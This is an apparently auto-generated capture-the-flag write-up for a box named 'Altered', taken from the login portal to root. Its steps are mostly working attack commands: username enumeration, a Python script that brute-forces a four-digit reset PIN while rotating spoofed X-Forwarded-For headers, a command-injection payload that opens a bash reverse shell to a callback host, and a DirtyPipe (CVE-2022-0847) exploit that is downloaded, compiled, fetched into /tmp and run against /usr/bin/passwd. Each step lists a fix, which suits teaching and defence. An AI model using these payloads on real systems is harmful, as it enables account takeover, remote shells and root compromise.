Altered
Summary
I scanned a publicly exposed nginx server and found a Laravel-backed login portal. The login form returned different error messages for unknown versus known usernames, confirming 'admin' as a registered account. Initiating a password reset for admin triggered a four-digit PIN; the verification endpoint enforced rate limiting by IP but derived that IP from the client-controlled X-Forwarded-For header. Cycling the header through a unique value for each of the 10,000 possible PINs bypassed the limit and returned a one-time reset token, which I used to set a new admin password and authenticate. An administrative API endpoint then passed a user-supplied parameter directly to an OS shell command without sanitization; injecting a reverse-shell payload delivered execution as the web-server user www-data and captured the user flag. The server's Linux kernel fell within the DirtyPipe (CVE-2022-0847) vulnerable range; a public exploit uploaded to /tmp and run against the SUID binary /usr/bin/passwd hijacked its in-memory content, spawned a root shell, and restored the original binary — yielding full root control and the root flag.
Attack path — how the box was taken
Exact commands 2
nmap -sV -p- --min-rate 5000 -oA altered-full $TARGETcurl -sI http://$TARGET/Exact commands 2
curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=nonexistentuser&password=[REDACTED: credential]&_token=<csrf_from_page>'curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=admin&password=[REDACTED: credential]&_token=<csrf_from_page>'FixReturn a generic error message for all failed login and password-reset attemptsMedium
Exact commands 2
curl -s -X POST http://$TARGET/reset -H 'Content-Type: application/x-www-form-urlencoded' -b 'laravel_session=<cookie>' -d 'name=admin&_token=<csrf>'python3 << 'EOF'
import requests, sys
s = requests.Session()
s.get("http://$TARGET")
for i in range(10000):
pin = f"{i:04d}"
xff = f"10.0.{i // 256}.{i % 256}"
r = s.post("http://$TARGET/api/resettoken",
data={"name": "admin", "pin": pin},
headers={"X-Forwarded-For": xff})
if r.ok and "token" in r.text:
print(f"[+] PIN={pin} | {r.text}")
sys.exit(0)
print("[-] PIN not found")
EOFFixRemove trust in the client-supplied X-Forwarded-For header for rate limiting; replace short PINs with cryptographic reset tokensHigh
Exact commands 2
curl -s -X POST http://$TARGET/api/resetpass -H 'Content-Type: application/x-www-form-urlencoded' -d 'token=[REDACTED: protected value]&password=[REDACTED: credential]&password_confirmation=[REDACTED: recovered credential]'curl -s -c cookies.txt -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=admin&password=[REDACTED: credential]&_token=<csrf>'FixRemove trust in the client-supplied X-Forwarded-For header for rate limiting; replace short PINs with cryptographic reset tokensHigh
Exact commands 3
nc -lvnp 4444curl -s -X POST http://$TARGET/api/[endpoint] -H 'Content-Type: application/json' -b 'laravel_session=<authed_cookie>' -d '{"ip":"localhost; bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"}'cat /home/*/user.txtFixNever concatenate user input into OS shell commands; replace shell invocations with safe API callsCritical
Exact commands 2
uname -asearchsploit dirty pipeFixApply kernel security patches to eliminate CVE-2022-0847 (DirtyPipe)Critical
Exact commands 4
wget https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/raw/main/exploit-2.c -O dp.c && gcc -o dp dp.cpython3 -m http.server 8080wget http://$CALLBACK_HOST:8080/dp -O /tmp/dp && chmod +x /tmp/dpprintf 'id\ncat /root/root.txt\nexit\n' | /tmp/dp /usr/bin/passwdFixApply kernel security patches to eliminate CVE-2022-0847 (DirtyPipe)Critical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |